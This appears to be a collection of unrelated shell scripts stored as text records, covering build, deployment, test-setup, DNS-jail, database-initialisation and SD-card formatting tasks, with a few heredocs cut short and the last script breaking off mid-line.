"AndersDJohnson/docked-node1-10\n#!/usr/bin/env bash\n\ndocked-node() {\n # shellcheck disable=SC1090,SC2128\n \"$(dirname \"$BASH_SOURCE\")/docked-node.sh\" \"$@\"\n}\n\n# shellcheck disable=SC2053\nif [[ ${BASH_SOURCE[0]} != $0 ]]; then\n export -f docked-node\nelse\n docked-node \"${@}\"\n exit $?\nfi"} {"text": "#!/bin/bash\n\nCOUNTER=0\nLIMIT=50\n\nwhile [ $COUNTER -lt $LIMIT ]; do\n\tpython ./send-mail-test.py\n\tlet COUNTER=COUNTER+1\ndone"} {"text": "#!/bin/bash\n# using double parenthesis, double parenthesis deal with numbers\n#\n# `**` means square of a number\n# like: 3 ** 2 => 9\n# syntax:\n# val++; val--; ++val; --val; !; ~; **; <<; >>; &; |; &&; ||;\n#\n\nval1=10\n#\nif (( $val1 ** 2 > 90 ))\nthen\n (( val2 = $val1 ** 2 ))\n echo \"The square of $val1 is $val2\"\nfi"} {"text": "#!/bin/sh -l\n\nset -e\n# set -x\n# pwd\n# ls -l\n\necho '---Installing dependencies---'\nphp ./composer.phar install\n\nsh runCodeSniffer.sh\n\necho \"---fin---\""} {"text": "#!/bin/bash\n\n# Because it seems I'm always re-adding the same print statements, might as well just collect them\n# into one file\n\ntarget=\"/var/log/apache2\"\n\nlet count=0\necho ${target}\nfor f in \"${target}\"/*\ndo\n sudo echo $(basename $f)\n sudo cat $f\n echo \"~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~\"\n let count=count+1\ndone\necho \"\"\necho \"Count: $count\""} {"text": "rlustin/metaphrase\n#!/bin/bash -ex\n\nif [ -z $TEST_DATABASE_URL ]; then\n echo \"TEST_DATABASE_URL is not set. Aborting.\"\n echo \" Hint: You can set it to any local path; this script will create it there.\"\n echo \" e.g. `TEST_DATABASE_URL=test-database.sqlite make test`\"\n exit 1;\nfi\n\nfunction teardown {\n rm $TEST_DATABASE_URL\n}\n\nfunction teardown_on_error {\n teardown\n exit 1\n}\n\ntrap teardown_on_error ERR\n\ncargo build\n\nDATABASE_URL=$TEST_DATABASE_URL diesel setup\n\nsqlite3 $TEST_DATABASE_URL \".read tests/fixtures.sql\"\n\nDATABASE_URL=$TEST_DATABASE_URL METAPHRASE_BIND=$TEST_METAPHRASE_BIND cargo test $TEST -- --nocapture\n\nteardown"} {"text": "#!/bin/bash\n#================================================================\n# vcf2Consensus\n#================================================================\n#% SYNOPSIS\n#+ mask.bash rpt_mask bam masked\n#%\n#% DESCRIPTION\n#% Consensus calling and output snp table for snippy compatability \n#%\n#% INPUTS\n#% ref input path to reference genome (.fas)\n#% bed input path to mask (.bed)\n#% vcf input path to variant (.vcf.gz)\n#% consensus output path to consensus file (.fas)\n#% snps output path to snps tab file (.tab)\n\n# Parameters\nMIN_READ_DEPTH=5\nMIN_ALLELE_FREQUENCY=0.8\nINDEL_GAP=5\n\n# Inputs\nref=$1\nbed=$2\nvcf=$3\nconsensus=$4\nsnps=$5\n\n# Filter\nbcf=filtered.bcf\nbcftools filter --IndelGap $INDEL_GAP -e \"DP<${MIN_READ_DEPTH} && AF<${MIN_ALLELE_FREQUENCY}\" $vcf -Ob -o $bcf\nbcftools index $bcf\n\n# Call Consensus\nbase_name=`basename $consensus`\nname=\"${base_name%%.*}\"\n\nbcftools consensus -f ${ref} -e 'TYPE=\"indel\"' -m $bed $bcf |\nsed \"/^>/ s/.*/>${name}/\" > $consensus\n\n# Write SNPs table\necho -e 'CHROM\\tPOS\\tTYPE\\tREF\\tALT\\tEVIDENCE' > $snps\n\nbcftools query -e 'TYPE=\"REF\"' -f '%CHROM,%POS,%TYPE,%REF,%ALT,%DP4\\n' $bcf |\nawk -F, '{print $1\"\\t\"$2\"\\t\"$3\"\\t\"$4\"\\t\"$5\"\\t\"$5\":\"$8+$9\" \"$4\":\"$6+$7}' >> $snps\n\n# Cleanup\nrm $bcf $bcf.csi"} {"text": "#!/bin/bash\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" &> /dev/null && pwd )\"\n\nconfig_file=$DIR/compile.conf\ncompile_file=$DIR/compile.src\nboilerplate_header=$DIR/boilerplates/header.src\nboilerplate_module=$DIR/boilerplates/module.src\nboilerplate_main=$DIR/boilerplates/main.src\n\nrm $DIR/installer.src\ntouch $DIR/installer.src\n\nfile=$DIR/installer.src\n\nfunction realpath() {\n [[ $1 = /* ]] && echo \"$1\" || echo \"$PWD/${1#./}\"\n}\n\nfunction print_debug() {\n echo \"print(\\\"$1\\\")\" >> $file\n}\n\nfunction create_folder() {\n echo \"c.create_folder($1, $2)\" >> $file\n}\n\nfunction create_file() {\n echo \"c.touch($1, $2)\" >> $file\n}\n\nfunction open_file() {\n echo \"file = c.File($1)\" >> $file\n}\n\nfunction write_file() {\n echo \"Importing file $(realpath $1)...\"\n echo \"lines = []\" >> $file\n n=1\n while read -r line || [ -n \"$line\" ]; do\n line=$(tr -d '\\r\\n' <<< \"$line\")\n line=$(sed 's/\\\"/\\\"\\\"/g' <<< \"$line\")\n\n echo \"lines.push(\\\"$line\\\")\" >> $file\n n=$((n+1))\n done < $1\n echo \"file.set_content(lines.join(\\\"\\n\\\"))\" >> $file\n}\n\necho \"Building installer $(realpath $file)...\"\n\necho \"s = get_shell\" >> $file\necho \"c = s.host_computer\" >> $file\necho \"h = home_dir\" >> $file\n\nprint_debug \"Create compiler folder...\"\ncreate_folder \"h\" \"\\\"compiler\\\"\"\ncreate_folder \"h\" \"\\\"tmp\\\"\"\ncreate_file \"h + \\\"/compiler\\\"\" \"\\\"compile.src\\\"\"\ncreate_folder \"h + \\\"/compiler\\\"\" \"\\\"boilerplates\\\"\"\ncreate_file \"h + \\\"/compiler/boilerplates\\\"\" \"\\\"header.src\\\"\"\ncreate_file \"h + \\\"/compiler/boilerplates\\\"\" \"\\\"main.src\\\"\"\ncreate_file \"h + \\\"/compiler/boilerplates\\\"\" \"\\\"module.src\\\"\"\n\nprint_debug \"Create config file...\"\ncreate_file \"h + \\\"/Config\\\"\" \"\\\"compile.conf\\\"\"\n\nprint_debug \"Write config file...\"\nopen_file \"h + \\\"/Config/compile.conf\\\"\"\nwrite_file $config_file\n\nprint_debug \"Write compiler file...\"\nopen_file \"h + \\\"/compiler/compile.src\\\"\"\nwrite_file $compile_file\n\nprint_debug \"Write boilerplates header file...\"\nopen_file \"h + \\\"/compiler/boilerplates/header.src\\\"\"\nwrite_file $boilerplate_header\n\nprint_debug \"Write boilerplates module file...\"\nopen_file \"h + \\\"/compiler/boilerplates/module.src\\\"\"\nwrite_file $boilerplate_module\n\nprint_debug \"Write boilerplates main file...\"\nopen_file \"h + \\\"/compiler/boilerplates/main.src\\\"\"\nwrite_file $boilerplate_main\n\necho \"Execute installer in Grey Hack now:\"\necho \"build installer.src /usr/bin\"\necho \"installer\""} {"text": "hein09/vipsterutil/make-appimage.sh\n#!/usr/bin/env bash\n# create a portable AppImage from a pre-built tree\n\necho \"creating .AppImage\"\n# install vipster into AppDir\nmake DESTDIR=AppDir install\n\n# get source dir and correct python from CMakeCache.txt\nexport SOURCE_DIR=$(grep Vipster_SOURCE_DIR CMakeCache.txt | cut -d \"=\" -f 2)\nexport PY_BIN=$(grep \"Python3_EXECUTABLE\" CMakeCache.txt | cut -d \"=\" -f 2)\nexport PY_PREFIX=$(${PY_BIN} -c \"from distutils import sysconfig as s; print(s.PREFIX)\")\n\n# add libpython to LD_LIBRARY_PATH so linuxdeployqt finds it\nexport LD_LIBRARY_PATH=$(${PY_BIN} -c \"from distutils import sysconfig as s; print(s.get_config_var('LIBDIR'))\"):$LD_LIBRARY_PATH\n\n# bundle required libraries (Qt, Python)\nwget -q -c \"https://github.com/probonopd/linuxdeployqt/releases/download/6/linuxdeployqt-6-x86_64.AppImage\" -O linuxdeployqt\nchmod +x linuxdeployqt\n./linuxdeployqt AppDir/usr/share/applications/com.github.sgsaenger.vipster.desktop -bundle-non-qt-libs -unsupported-allow-new-glibc\n\n# copy python standard-library\nexport PY_LIB_DIR=$(${PY_BIN} -c \"from distutils import sysconfig as s; print(s.get_python_lib(standard_lib=True))\")\nmkdir -p AppDir/$PY_LIB_DIR\ncp -r $PY_LIB_DIR/. AppDir/$PY_LIB_DIR\n\n# move libpython so we can use system's version if compatible\nmkdir -p AppDir/usr/optional/python\nmv AppDir/usr/lib/libpython* AppDir/usr/optional/python\n\n# bundle libstdc++ to be compatible with older linuxes, see https://github.com/darealshinji/AppImageKit-checkrt\nmkdir -p AppDir/usr/optional/libstdc++\nwget -q -c https://github.com/darealshinji/AppImageKit-checkrt/releases/download/continuous/exec-x86_64.so -O AppDir/usr/optional/exec.so\ncp /usr/lib/x86_64-linux-gnu/libstdc++.so.6 AppDir/usr/optional/libstdc++/\n\n# use custom AppRun so we get the correct working directory and fallback libraries\nrm AppDir/AppRun\nsed \"s|X_PYROOT_X|${PY_PREFIX}|\" \"${SOURCE_DIR}/util/AppRun\" | sed \"s|X_PYBIN_X|${PY_BIN##*/}|\" > AppDir/AppRun\nchmod a+x AppDir/AppRun\n\n# bundle AppDir as AppImage\nwget -q -c https://github.com/AppImage/AppImageKit/releases/download/11/appimagetool-x86_64.AppImage -O appimagetool\nchmod +x appimagetool\n./appimagetool -g AppDir Vipster-Linux-x86_64.AppImage"} {"text": "bin/set-env-secrets.sh\n#!/bin/bash\n\n: ${ENV_SECRETS_DIR:=/var/run/secrets}\ndebug=${ENV_SECRETS_DEBUG:-'unset'}\n\nenv_secret_debug()\n{\n if [[ $debug = \"true\" ]]; then\n echo -e \"\\033[1m$@\\033[0m\"\n fi\n}\n\nset_env_secrets() {\n secret_file_path=\"${ENV_SECRETS_DIR}/env\"\n env_secret_debug \"Secret file: env\"\n if [ -f \"$secret_file_path\" ]; then\n while IFS='' read -r line || [[ -n \"$line\" ]]; do\n if [[ ! $line = \\#* && ! $line = \"\" ]]; then\n export $line\n fi\n done < \"$secret_file_path\"\n else\n env_secret_debug \"Secret file does not exist! ${ENV_SECRETS_DIR}/env\"\n fi\n\n if [[ $debug = \"true\" ]]; then\n echo -e \"\\n\\033[1mExpanded environment variables\\033[0m\"\n printenv\n fi\n}\n\nset_env_secrets"} {"text": "server/src/main/resources/kpn/scripts/backup-replicate.sh\n#!/usr/bin/env bash\ntar cf /kpn/backup/replicate-backup/003_19.tar /kpn/replicate/003/19?"} {"text": "scripts/staging.sh\n#!/bin/bash\necho \"Making Migrations...\"\npython /code/manage.py makemigrations\necho \"Running Migrations...\"\npython /code/manage.py migrate\necho \"Running App...\"\ngunicorn wsgi:application -b 0.0.0.0:8000"} {"text": "eshwar244/kubernetes\n#!/bin/bash\nset -euo pipefail\n\nCHECK_NODE_COUNT=${CHECK_NODE_COUNT:-true}\nCONFORMANCE_REPO=${CONFORMANCE_REPO:-github.com/coreos/kubernetes}\nCONFORMANCE_VERSION=${CONFORMANCE_VERSION:-v1.5.4+coreos.0}\nSSH_OPTS=${SSH_OPTS:-}\n\nusage() {\n echo \"USAGE:\"\n echo \" $0 \"\n echo\n exit 1\n}\n\nif [ $# -ne 3 ]; then\n usage\n exit 1\nfi\n\nssh_host=$1\nssh_port=$2\nssh_key=$3\n\nkubeconfig=$(cat < /home/core/kubeconfig\"\n\n# Init steps necessary to run conformance in docker://golang:1.7.4 container\nINIT=\"apt-get update && apt-get install -y rsync && go get -u github.com/jteeuwen/go-bindata/go-bindata\"\n\nTEST_FLAGS=\"-v --test -check_version_skew=false --test_args=\\\"ginkgo.focus='\\[Conformance\\]'\\\"\"\n\nCONFORMANCE=$(echo \\\n \"cd /go/src/k8s.io/kubernetes && \" \\\n \"git checkout ${CONFORMANCE_VERSION} && \" \\\n \"make all WHAT=cmd/kubectl && \" \\\n \"make all WHAT=vendor/github.com/onsi/ginkgo/ginkgo && \" \\\n \"make all WHAT=test/e2e/e2e.test && \" \\\n \"KUBECONFIG=/kubeconfig KUBERNETES_PROVIDER=skeleton KUBERNETES_CONFORMANCE_TEST=Y go run hack/e2e.go ${TEST_FLAGS}\")\n\nRKT_OPTS=$(echo \\\n \"--volume=kc,kind=host,source=/home/core/kubeconfig \"\\\n \"--volume=k8s,kind=host,source=${K8S_SRC} \" \\\n \"--mount volume=kc,target=/kubeconfig \" \\\n \"--mount volume=k8s,target=/go/src/k8s.io/kubernetes\")\n\nCMD=\"sudo rkt run --net=host --insecure-options=image ${RKT_OPTS} docker://golang:1.7.4 --exec /bin/bash -- -c \\\"${INIT} && ${CONFORMANCE}\\\"\"\n\nssh ${SSH_OPTS} -i ${ssh_key} -p ${ssh_port} core@${ssh_host} \"${CMD}\""} {"text": "#!/usr/bin/env bash\n\n# Copyright 2018 The Jetstack tarmak contributors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\nexport KUBE_ROOT=$(dirname \"${BASH_SOURCE}\")/..\n\nsource \"${KUBE_ROOT}/hack/lib/version.sh\"\nkube::version::get_version_vars\n\nTARMAK_BASE_IMAGE_NAME=${TARMAK_BASE_IMAGE_NAME:-centos-puppet-agent}\nTARMAK_VERSION=${TARMAK_VERSION:-${KUBE_GIT_VERSION}}\n\nSCRIPT_ROOT=$(dirname \"${BASH_SOURCE}\")/..\nPACKER_ROOT=$(dirname \"${BASH_SOURCE}\")/../packer/amazon\n\nTMP_PACKER_CONFIG=\"${PACKER_ROOT}/.tmp_${TARMAK_BASE_IMAGE}.json\"\n\n# build packer release config\njq -s '\n .[2] = (\n .[0]\n | del(\n .variables.tarmak_environment,\n .variables.ebs_volume_encrypted,\n .builders[0].source_ami_filter,\n .builders[0].tags.tarmak_environment)\n )\n | .[2].variables = .[2].variables * .[1].variables\n | .[2].builders[0] = .[2].builders[0] * .[1].builders[0]\n | .[2]' \"${PACKER_ROOT}/${TARMAK_BASE_IMAGE_NAME}.json\" \"${PACKER_ROOT}/releases.json\" > \"${TMP_PACKER_CONFIG}\"\n\n# run packer\nexport TARMAK_BASE_IMAGE TARMAK_VERSION\nexec packer build \"${TMP_PACKER_CONFIG}\""} {"text": "#!/bin/bash\n\nwhile ! curl http://$DB_PORT_3306_TCP_ADDR:$DB_PORT_3306_TCP_PORT/ >/dev/null 2>&1\ndo\n sleep 2\n echo \"Waiting for database server...\"\ndone\n\nsleep 5\n\necho \"Creating the world database\"\nmysql -h ${DB_PORT_3306_TCP_ADDR} -u root -p${DB_ENV_MYSQL_ROOT_PASSWORD} -e \"CREATE DATABASE IF NOT EXISTS ${APP_DB_NAME}\"\nmysql -h ${DB_PORT_3306_TCP_ADDR} -u root -p${DB_ENV_MYSQL_ROOT_PASSWORD} ${APP_DB_NAME} < /tmp/world_innodb.sql\n\necho \"Creating application user\"\nmysql -h ${DB_PORT_3306_TCP_ADDR} -u root -p${DB_ENV_MYSQL_ROOT_PASSWORD} -e \"GRANT ALL on ${APP_DB_NAME}.* to '${APP_USER}'@'%'\"\nmysql -h ${DB_PORT_3306_TCP_ADDR} -u root -p${DB_ENV_MYSQL_ROOT_PASSWORD} -e \"SET PASSWORD for '${APP_USER}'@'%' = PASSWORD('${APP_PW}')\"\n\necho \"Counting rows in world.city\"\nmysql -h ${DB_PORT_3306_TCP_ADDR} -u root -p${DB_ENV_MYSQL_ROOT_PASSWORD} -e \"SELECT COUNT(*) from world.City\"\n\n# loop infinitely\nwhile true\ndo\n sleep 10\ndone"} {"text": "#!/usr/bin/env bash\nsudo /usr/sbin/openvpn /etc/openvpn/client.conf"} {"text": "#!/bin/bash\n##############################################################################\n# Copyright 2018 and Others #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\"); #\n# you may not use this file except in compliance with the License. #\n# You may obtain a copy of the License at #\n# #\n# http://www.apache.org/licenses/LICENSE-2.0 #\n# #\n# Unless required by applicable law or agreed to in writing, software #\n# distributed under the License is distributed on an \"AS IS\" BASIS, #\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\n# See the License for the specific language governing permissions and #\n# limitations under the License. #\n##############################################################################\n\n\n#this script will deploy a virtual POD using Fuel gambia\n\n#this script assumes:\n# /home/fuel/config exists and has the configuration files for virtual1\n# /home/fuel/tmpdir exists\n# /home/fuel/* permissions are correct\n\nSCENARIO=\"$1\"\nVERSION=\"$2\"\n\n\nfunction install_packages {\n if grep -iq centos /etc/os-release; then #centos\n yum -y update\n yum -y install epel-release git\n yum -y groupinstall \"Virtualization Host\"\n systemctl start libvirtd\n systemctl enable libvirtd\n elif grep -iq ubuntu /etc/os-release; then #ubuntu\n apt update\n apt -y upgrade\n apt -y install libvirt-bin git\n #apt should do this for us, but lets be double safe\n systemctl start libvirtd\n systemctl enable libvirtd\n fi\n}\n\nfunction install_fuel {\n git clone https://git.opnfv.org/fuel\n cd fuel || exit 1\n if ! git checkout \"$VERSION\"; then\n echo \"failed to checkout $VERSION, defaulting to opnfv-7.1.0\"\n git checkout opnfv-7.1.0\n fi\n chmod -R 777 /home/fuel/\n}\n\n\nfunction main {\n install_packages\n\n install_fuel\n\n ci/deploy.sh -l IOL -p virtual1 -b file:///home/fuel/config -s \"$SCENARIO\" -D -S /home/fuel/tmpdir\n}\n\n\n# hack for tput\nexport TERM=xterm-256color\nmain &> /root/opnfv-deploy.log"} {"text": "dieggpereira/post-installation\n#!/usr/bin/env bash\necho -e \"\\e[1;33m \n>>>>>>>>>>>>>>>>>>>>> ATUALIZANDO O SISTEMA <<<<<<<<<<<<<<<<<<<<<\n\\e[0m \"\n\necho -e \"\\e[1;33m \n>>>>>>>>>>>>>>>>>>>> Atualizando pacotes APT <<<<<<<<<<<<<<<<<<<<\n\\e[0m \"\n\nsudo apt-get update\n\nif [[ $? -gt 0 ]] \nthen\necho -e \"\\e[1;31m \n>>>>>>>>>>>>>>>>>>>>> Repositórios: Falhou. <<<<<<<<<<<<<<<<<<<<<\n\\e[0m \"\nelse\nrm -rf rm /home/pi/queue/*\necho -e \"\\e[1;32m \n>>>>>>>>>>>>>>>>>>>>> Repositórios: Sucesso. <<<<<<<<<<<<<<<<<<<<\n\\e[0m \"\nfi\n\nsudo apt-get upgrade -y\n\nif [[ $? -gt 0 ]] \nthen\necho -e \"\\e[1;31m \n>>>>>>>>>>>>>>>>>>>>>>>>>> Apt: Falhou. <<<<<<<<<<<<<<<<<<<<<<<<<\n\\e[0m \"\nelse\nrm -rf rm /home/pi/queue/*\necho -e \"\\e[1;32m \n>>>>>>>>>>>>>>>>>>>>>>>>> Apt: Sucesso. <<<<<<<<<<<<<<<<<<<<<<<<<\n\\e[0m \"\nfi\n# ---------------------------------------------------------------------- #"} {"text": "glennschler/aws-spotter-node\nrm -r -f doc/*\njsdoc lib/spotspec.js -d doc\njsdoc2md -t src/jsdoc2md-template.hbs lib/spotspec.js > doc/index.md"} {"text": "#!/usr/bin/env bash\n\nset -eu -o pipefail\n\nrm -f ./node-env.nix\n\nnode2nix \\\n -i node-packages.json \\\n -o node-packages.nix \\\n -c default.nix \\\n --pkg-name nodejs-14_x"} {"text": "echvsg/kubernetes-integration-test\n#!/bin/bash\necho Prepare MockServer responses\n\njson_escape_file () {\n [ -f \"$1\" ] || (echo \"File not found! $1\"; return 1)\n cat \"$1\" | python -c 'import json,sys; print(json.dumps(sys.stdin.read()))'\n}\n\n#Load all .ok with times=unlimited\nfor file in $(find ./mockserver/ -name '*.ok'); do\n filename=$(basename $file)\n id=\"${filename%.*}\"\n echo Add $id\n\n URL=\"/v1/address/email/$id\"\n BODY=\"$(json_escape_file $file)\"\n\n curl -sX PUT \"http://localhost:1080/expectation\" -d \"{\n httpRequest : {\n path: \\\"$URL\\\"\n },\n httpResponse : {\n body: $BODY\n },\n times: {\n unlimited: true\n },\n timeToLive: {\n unlimited: true\n }\n}\"\ndone\n\n#Load 2 error then unlimited for testRetry\n file=\"./mockserver/testRetry@test.com.err\"\n filename=$(basename $file)\n id=\"${filename%.*}\"\n echo Add $id\n\n URL=\"/v1/address/email/$id\"\n BODY=\"$(json_escape_file $file)\"\n\n curl -sX PUT \"http://localhost:1080/expectation\" -d \"{\n httpRequest : {\n path: \\\"$URL\\\"\n },\n httpResponse : {\n statusCode: 500\n },\n times: {\n remainingTimes : 2,\n unlimited : false\n },\n timeToLive: {\n unlimited: true\n }\n }\"\n\n curl -sX PUT \"http://localhost:1080/expectation\" -d \"{\n httpRequest : {\n path: \\\"$URL\\\"\n },\n httpResponse : {\n body: $BODY\n },\n times: {\n unlimited: true\n },\n timeToLive: {\n unlimited: true\n }\n }\""} {"text": "objC/baltobor/open_gl/setLDPath.sh\nexport LD_LIBRARY_PATH=/root/GNUstep/Library/Libraries:/opt/vc/lib/:/usr/lib"} {"text": "Graphcore/benchmarks/bert/ipu-pod16-POPART-open/run_and_time.sh\npython3 create_submission.py --pod 16 --submission-division=open"} {"text": "wireapp/ganymede\n#!/bin/bash\n\nset -e\n\nconfig_file=$(pwd)/.env\nversion_file=$(pwd)/version.txt\nstore_name=swisscom.jks\n\nrun() {\n clean\n create_env\n append_store\n start_jar\n}\n\nclean() {\n rm \"$config_file\" || true\n}\n\ncreate_env() {\n cp .env.template \"$config_file\"\n}\n\nappend_store() {\n cat >>\"$config_file\" <<-_EOF_\nSTORE_PATH=$(pwd)/$store_name\nSTORE_PASS=$store_pass\nSTORE_TYPE=JKS\n_EOF_\n}\n\nstart_jar() {\n (\n export PROPS_PATH=\"$config_file\"\n export RELEASE_FILE_PATH=\"$version_file\"\n java -jar app.jar\n )\n}\n\nusage() {\n echo \"usage: ./run.sh -p key_store_password\"\n}\n\nstore_pass=\n\nwhile [ \"$1\" != \"\" ]; do\n case $1 in\n -p | --password)\n shift\n store_pass=$1\n ;;\n -h | --help)\n usage\n exit\n ;;\n *)\n usage\n exit 1\n ;;\n esac\n shift\ndone\n\nif [ -z \"$store_pass\" ]; then\n usage\n exit 1\nelse\n run\nfi"} {"text": "ndiy/QUANTAXIS0\n#!/bin/bash\n\nPATH=\"/QUANTAXIS\"\ncd $PATH\n/url/bin/git pull"} {"text": "shanyou/bash-oo-framework\n# no dependencies\n\nCommand::GetType() {\n local name=\"$1\"\n local typeMatch=$(type -t \"$name\" 2> /dev/null || true)\n echo \"$typeMatch\"\n}\n\nCommand::Exists(){\n local name=\"$1\"\n local typeMatch=$(Command::GetType \"$name\")\n [[ \"$typeMatch\" == \"alias\" || \"$typeMatch\" == \"function\" || \"$typeMatch\" == \"builtin\" ]]\n}\n\nAlias::Exists(){\n local name=\"$1\"\n local typeMatch=$(Command::GetType \"$name\")\n [[ \"$typeMatch\" == \"alias\" ]]\n}\n\nFunction::Exists(){\n local name=\"$1\"\n declare -f \"$name\" &> /dev/null\n}\n\nFunction::GetAllStartingWith() {\n local startsWith=\"$1\"\n compgen -A 'function' \"$startsWith\" || true\n}\n\nFunction::InjectCode() {\n local functionName=\"$1\"\n local injectBefore=\"$2\"\n local injectAfter=\"$3\"\n local body=$(declare -f \"$functionName\")\n body=\"${body#*{}\" # trim start\n body=\"${body%\\}}\" # trim end\n local enter=$'\\n'\n eval \"${functionName}() { ${enter}${injectBefore}${body}${injectAfter}${enter} }\"\n}"} {"text": "#!/bin/sh\n\n# shellcheck disable=1091\n. mail-toaster.sh || exit\n\nexport JAIL_START_EXTRA=\"\"\nexport JAIL_CONF_EXTRA=\"\"\n\ninstall_tinydns()\n{\n\ttell_status \"installing djbdns\"\n\tstage_pkg_install rsync dialog4ports daemontools || exit\n\n\tif [ ! -d \"$STAGE_MNT/data/home\" ]; then\n\t\tmkdir \"$STAGE_MNT/data/home\" || exit\n\tfi\n\tstage_exec pw useradd tinydns -d /data/home/tinydns -m\n\n\ttell_status \"installing djbdns with IPv6 support\"\n\ttee -a \"$STAGE_MNT/etc/make.conf\" <&1\n\n# logging disabled\nexec 1>/dev/null 2>&1\n\nexec envuidgid tinydns envdir ./env softlimit -d300000 /usr/local/bin/tinydns\nEO_TINYDNS_RUN\n\n\tif [ ! -d \"$ZFS_DATA_MNT/tinydns/root\" ]; then\n\t\ttell_status \"configuring tinydns data\"\n\t\tmv \"$STAGE_MNT/var/service/tinydns/root\" \"$ZFS_DATA_MNT/tinydns/root\"\n\t\ttee -a \"$ZFS_DATA_MNT/tinydns/root/data\" < \"$STAGE_MNT/var/service/tinydns/env/ROOT\" || exit\n}\n\nconfigure_axfrdns()\n{\n\ttell_status \"creating axfrdns server\"\n\tstage_exec axfrdns-conf tinydns bin /var/service/axfrdns /data \"$(get_jail_ip stage)\"\n\ttee \"$STAGE_MNT/var/service/axfrdns/run\" <<'EO_AXFRDNS_RUN'\n#!/bin/sh\n\n# logging enabled\n#exec 2>&1\n\n# logging disabled\nexec 1>/dev/null 2>&1\n\nexec envdir ./env sh -c '\n\texec envuidgid tinydns softlimit -d300000 tcpserver -vDRHl0 -x tcp.cdb -- \"$IP\" 53 /usr/local/bin/axfrdns\n'\nEO_AXFRDNS_RUN\n\n\ttee \"$STAGE_MNT/var/service/axfrdns/tcp\" <mercury64/BrightspaceTools\n#!/bin/bash\n##############\n# Description: This file will find all lti.xml files in current folder, will extract an ID and append that ID to the toolurl.\n# Author : \n# Email : \n#\n# GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin20)\n#\n# Copyright 2021 <>\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n# get all lti.xml files\nfiles=$(find . -name 'lti.xml' -type f) \n\n# loop over each lti.xml file\nfor xmlFile in $files; do\n \n # get the instructorcustomparameters id\n id=$(xmlstarlet sel -t -v \"/activity/lti/instructorcustomparameters\" ${xmlFile});\n\n # force ID to be lowercase\n id=$(echo ${id} | tr '[:upper:]' '[:lower:]')\n \n # get the toolurl\n toolurl=$(xmlstarlet sel -t -v \"/activity/lti/toolurl\" ${xmlFile});\n \n # check if type=page\n if [[ \"$toolurl\" =~ .*\"type=page\".* ]]; then\n # update page type toolurl with custom_id\n\tupdate=$(xmlstarlet edit -L --update \"/activity/lti/toolurl\" --value \"https://wcln.ca/local/lti/index.php?type=page&custom_${id}\" ${xmlFile});\n\n # check if type=book\n elif [[ \"$toolurl\" =~ .*\"type=book\".* ]]; then\n # update book type toolurl with custom_id\n update=$(xmlstarlet edit -L --update \"/activity/lti/toolurl\" --value \"https://wcln.ca/local/lti/index.php?type=book&custom_${id}\" ${xmlFile});\n fi\n\ndone;"} {"text": "installplugin.sh\ngo build\ncf install-plugin trueupreport-plugin -f"} {"text": "configs/allwinner/d1/scripts/format_sd.sh10-100\n#!/bin/bash\nset -e\n\nif [ $EUID != 0 ]; then\n echo \"This script requires sudo, so it might not work.\"\nfi\n\nif ! sudo parted -h > /dev/null; then\n echo \"Please install 'parted' and try again.\"\n exit 1\nfi\n\nif [ -z \"$ALLWINNER_SD\" ]; then\n echo \"Please set ALLWINNER_SD and try again.\"\n exit 1\nfi\n\nif [ ! -b \"$ALLWINNER_SD\" ]; then\n echo \"$ALLWINNER_SD is not a block device or doesn't exist.\"\n exit 1\nfi\n\nresources_path=\"${SKIFF_CURRENT_CONF_DIR}/resources\"\nubootimg=\"$BUILDROOT_DIR/images/u-boot.toc1\"\nbootspl=\"$BUILDROOT_DIR/images/boot0_sdcard_sun20iw1p1.bin\"\n\nif [ ! -f \"$ubootimg\" ]; then\n echo \"can't find u-boot image at $ubootimg\"\n exit 1\nfi\n\nif [ ! -f \"$bootspl\" ]; then\n echo \"can't find bootspl image at $bootspl\"\n exit 1\nfi\n\nif [ -z \"$SKIFF_NO_INTERACTIVE\" ]; then\n read -p \"Are you sure? This will completely destroy all data. [y/N] \" -n 1 -r\n echo\n if ! [[ $REPLY =~ ^[Yy]$ ]]; then\n exit 1\n fi\nfi\n\nif [ -z \"$SKIFF_NO_INTERACTIVE\" ]; then\n read -p \"Verify that '$ALLWINNER_SD' is the correct device. Be sure. [y/N] \" -n 1 -r\n echo\n if ! [[ $REPLY =~ ^[Yy]$ ]]; then\n exit 1\n fi\nfi\n\nMKEXT4=\"mkfs.ext4 -F\"\n\nset -x\nset -e\n\necho \"Formatting device...\"\nsudo dd if=/dev/zero of=$ALLWINNER_SD bs=8k count=13 oflag=dsync\n\necho \"Creating partitions...\"\nsudo partprobe ${ALLWINNER_SD} || true\nsudo parted $ALLWINNER_SD mklabel msdos\npartprobe $ALLWINNER_SD || true\n\necho \"Making persist partition...\"\n# note: u-boot.toc1 requires >20MiB free space before persist.\nsudo parted -a optimal $ALLWINNER_SD -- mkpart primary ext4 128MiB \"100%\"\n\necho \"Waiting for partprobe...\"\nsync && sync\npartprobe $ALLWINNER_SD || true\nsleep 2\npartprobe $ALLWINNER_SD || true\n\nALLWINNER_SD_SFX=$ALLWINNER_SD\nif [ -b ${ALLWINNER_SD}p1 ]; then\n ALLWINNER_SD_SFX=${ALLWINNER_SD}p\nfi\n\nif [ ! -b ${ALLWINNER_SD_SFX}1 ]; then\n echo \"Warning: it appears your kernel has not created partition files at ${ALLWINNER_SD_SFX}.\"\nfi\n\nif [ -z \"$KEEP_PERSIST\" ]; then\n echo \"Formatting persist partition...\"\n 